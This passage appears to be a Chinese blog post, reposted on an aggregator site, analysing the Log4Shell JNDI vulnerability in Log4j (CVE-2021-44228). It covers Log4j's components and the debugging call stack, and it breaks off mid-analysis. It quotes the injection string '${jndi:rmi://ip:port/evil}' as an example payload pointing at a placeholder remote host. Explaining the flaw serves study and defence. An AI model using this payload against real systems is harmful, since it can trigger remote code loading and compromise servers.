Log4j JNDI漏洞(Log4Shell)

您所在的位置:网站首页 log4j的配置 Log4j JNDI漏洞(Log4Shell)

Log4j JNDI漏洞(Log4Shell)

#Log4j JNDI漏洞(Log4Shell)| 来源: 网络整理| 查看: 265

很久之前的一个核弹级漏洞,之前响应过程中没有写文章,最近有些遗忘,重新看了一下,顺手写下这篇文章。Log4j JNDI,CVE-2021-44228。

Log4j

Log4j是Java应用程序的日志记录工具。将log4j的jar包引入项目后,在项目中创建一个 log4j.properties 或 log4j.xml 配置文件,用于配置日志记录器的行为,例如输出日志的格式、级别、存储位置等。

Log4j常用组件如下: (1)Appender将日志消息发送到某个目标组件如控制台、文件、数据库等。 (2)Filter对日志事件进行过滤,符合特定条件的日志才能发送到Appender。 (3)LoggerContext是管理各个组件的上下文对象,相当于容器。 (4)Logger是打印日志信息的主要工具,包含不同的日志消息级别,从低到高为:trace、debug、info、warn、error、fatal (5)layout模块用来制定日志的输出格式,如HTML(HTMLLayout)、JSON(JsonLayout)、格式化字符串(PatternLayout)等 (6)selector模块用来选择特定的日志记录器

log4j的用法如下。获取一个日志记录器实例并记录信息

private static final Logger LOGGER = Logger.getLogger(xxClass.class); LOGGER.debug("debug test"); LOGGER.info("info test"); LOGGER.warn("warn test"); LOGGER.error("error test"); LOGGER.fatal("fatal test"); 漏洞分析

问题就出现在了logger.error,如果日志信息可控,就可能造成JNDI

logger.error("${jndi:rmi://ip:port/evil}");

看到payload有一个很直观的问题,JNDI常用的payload形式是rmi://ip:port/evil,log4j的payload则在此基础上加入了${jndi:}的外壳

在log4j中搜索Context.lookup()可以定位到JndiManager.lookup(),在此方法上打断点,进行调试,调用栈如下。分成了六个重要的步骤。

AbstractLogger.logIfEnabled (1) PatternLayout$PatternSerializer.toSerializable (2) ... MessagePatternConverter.format (3) ... StrSubstitutor.substitute (4) ... Interpolator.lookup (5) JndiManager.lookup (6)

(1)AbstractLogger.logIfEnabled()

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable t) { if (this.isEnabled(level, marker, message, t)) { this.logMessage(fqcn, level, marker, message, t); } }

logIfEnabled主要是用来避免在日志级别不足的情况下执行耗时或开销大的操作。首先就会进行isEnabled()判断,检查是否已经启用相应级别的日志记录器,如果启用了就记录消息。isEnabled()最核心的判断是如下这行

return level != null && this.intLevel >= level.intLevel();

intLevel为200,也就是需要找到level



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3